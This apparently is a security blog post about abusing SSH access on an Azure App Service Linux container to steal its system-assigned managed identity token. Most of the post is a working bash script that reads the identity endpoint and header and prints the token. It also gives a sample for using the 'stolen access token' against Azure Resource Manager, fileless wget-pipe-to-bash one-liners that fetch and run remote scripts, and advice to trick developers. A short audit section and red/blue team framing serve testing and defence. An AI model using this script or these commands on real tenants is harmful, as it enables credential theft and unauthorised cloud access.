Acquire Access Token from Azure App Service (Linux) System-Assigned Managed Identity

I got a question from a friend last week if he should enable System-Assigned Managed Identity (SAMI) on an Azure App Service running on a Linux host. He also asked if his developer team could use that SAMI to do any evil actions in his cloud environment.

Hopefully, this article would clarify a few things and then share a bash script to acquire the access token of Azure App Service’s SAMI.

We all know that with an access token of a managed identity, a bad actor can sign in Azure AD and start doing something in your environment. Depending on the role assignment, the access scope may vary. You may have heard that managed identity is safer than service principal that works with username and password (aka client secret). That is not always true. For example, when you enable SAMI on a VM and give that SAMI Key Vault Contributor. The VM admin (or someone with VM Contributor) can get the SAMI’s access token (by calling Azure Service Metadata Instance) and use it to add the SAMI to Key Vault Access Policy and then read all secrets. It could be worse if any of those secrets provide a credential of a critical asset.

We know Azure App Service provides a console for Windows host and SSH remote capability for Linux one. In this article, I’m using a Linux host as an example. The good of it is that it helps facilitate deployment and automation. The bad is that it can be abused by someone with a Website Contributor.

Below is the sample script I have developed to acquire the access token:

#!/bin/bash
# Use this script to get access token of Azure App Service's system-assigned managed identity
# You must have Website Contributor to https://<your_app_name>.scm.azurewebsites.net/webssh/host
# This script can be hosted in a controled malicious host and execute directly from that as living off the land technique
# wget -qO- https://<storage_account_name>.blob.core.windows.net/scripts/hello.sh | dos2unix | bash (LoTL)

echo -e "\e[32m[+] Start scanning identity on the target App Service\e[0m"

# The file that store environment variables including identity_endpoint and identity_header
# You can use printenv to print those variables. However Microsoft may block the command in the future
profile_path=/etc/profile

if [ -f "${profile_path}" ]; then 
  echo -e "\e[32m[+]${profile_path} exists\e[0m" 
else 
  echo -e "\e[31m[!]${profile_path} doesn't exist\e[0m" 
  exit 
fi

# Grep and get target variables's value
identity_endpoint_var=$(grep "IDENTITY_ENDPOINT" ${profile_path} )
identity_header_var=$(grep "IDENTITY_HEADER" ${profile_path} )
identity_endpoint=${identity_endpoint_var#*=}
identity_header=${identity_header_var#*=}

if [ -z "${identity_endpoint_var}" -o -z "${identity_header_var}" ]; then
  echo -e "\e[31m[!] Identity endpoint or identity header variables couldn't be found\e[0m"
  exit
else
  echo -e "\e[32m[+] Found target variables!\e[0m"
fi

header="X-IDENTITY-HEADER:${identity_header}"

# Remove double quotes on string
header_=$(echo ${header} | tr -d '"')
identity_endpoint_=$(echo ${identity_endpoint} | tr -d '"')

# This script uses management.azure.com as the target resource endpoint. 
uri="${identity_endpoint_}?resource=https://management.azure.com&api-version=2019-08-01"

# The managed Docker container to provide remote SSH on your web app Alpine Linux v3.13
# The following wget is used to print the response which contains Access Token.
# You need to re-format the access token as the output in the terminal prints access token in multiple lines
wget -qO- --header ${header_} ${uri}

echo -e  "\e[32m[+] Copy the access token and use it separately on your workstation\e[0m"
# Below is the sample CURL to get VM information. Change the endpoint e.g Key Vault if you would like to test
# Reference: https://azsec.azurewebsites.net/2019/12/20/a-few-ways-to-acquire-azure-access-token-with-scripting-languages/

#### SAMPLE SCRIPT TO USE WITH STOLEN ACCESS TOKEN ####
## AUTH_HEADER="Authorization: Bearer $ACCESS_TOKEN"
## CONTENT_TYPE="Content-Type: application/json"
## SUBSCRIPTION_ID="67d6179d-a99d-4ccd-8c56-XXXXXXXXX"
## RG_NAME='off-rg'
## RM_ENDPOINT='https://management.azure.com'
## URI="$RM_ENDPOINT/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG_NAME?api-version=2021-04-01"
## curl -X GET -H "$AUTH_HEADER" -H "$CONTENT_TYPE" $URI
######################################################

This script can be found here.

The reason I’m using wget is because the Linux container (Alpine Linux) has it by default so I don’t have to deal with additional package installation.

And now you can filelessly execute this script to get the access token (or we call it Living off the land)

# Execute get_access_token.sh directly from GitHub without downloading it

wget -qO- https://raw.githubusercontent.com/azsec/azure-audit/master/AppService/get_access_token.sh | bash

Once you have gotten the access token, you can sign in and verify. Below is a sample CURL to sign in Azure AD and get resource group via REST API:

ACCESS_TOKEN="eyJ0eXAiOiJKV1QiLC...."
AUTH_HEADER="Authorization: Bearer $ACCESS_TOKEN"
CONTENT_TYPE="Content-Type: application/json"
SUBSCRIPTION_ID="67d6179d-a99d-4ccd-8c56-XXXXXXXXX"
RG_NAME='off-rg'
RM_ENDPOINT='https://management.azure.com'
URI="$RM_ENDPOINT/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG_NAME?api-version=2021-04-01"
curl -X GET -H "$AUTH_HEADER" -H "$CONTENT_TYPE" $URI

Audit

If you wish to audit, you can request a role assignment, run SSH on the target Azure App Service, and execute history command.

history | grep 'get_access_token.sh'

The problem is if the bad actor re-spins up the container the history would be cleared. This makes the audit become much harder. I will do more analysis and update to see if there is somewhere we can find an evidence.

Summary

The objective of the article is to share with you a script so you can test it in your environment. If you are part of a red team, you could trick a developer whose role is Website Contributor and then acquire the access token. If you are part of a blue team you could keep an eye on all Azure App Services that have SAMI enabled to work with different Azure services such as Azure Key Vault, Azure SQL Database, or Azure Storage Account.

If your environment is heavily using Azure App Service and SAMI it should be the time to perform an audit.

This entry was posted in Security Operation and tagged . Bookmark the permalink.

Leave a Reply

Your email address will not be published.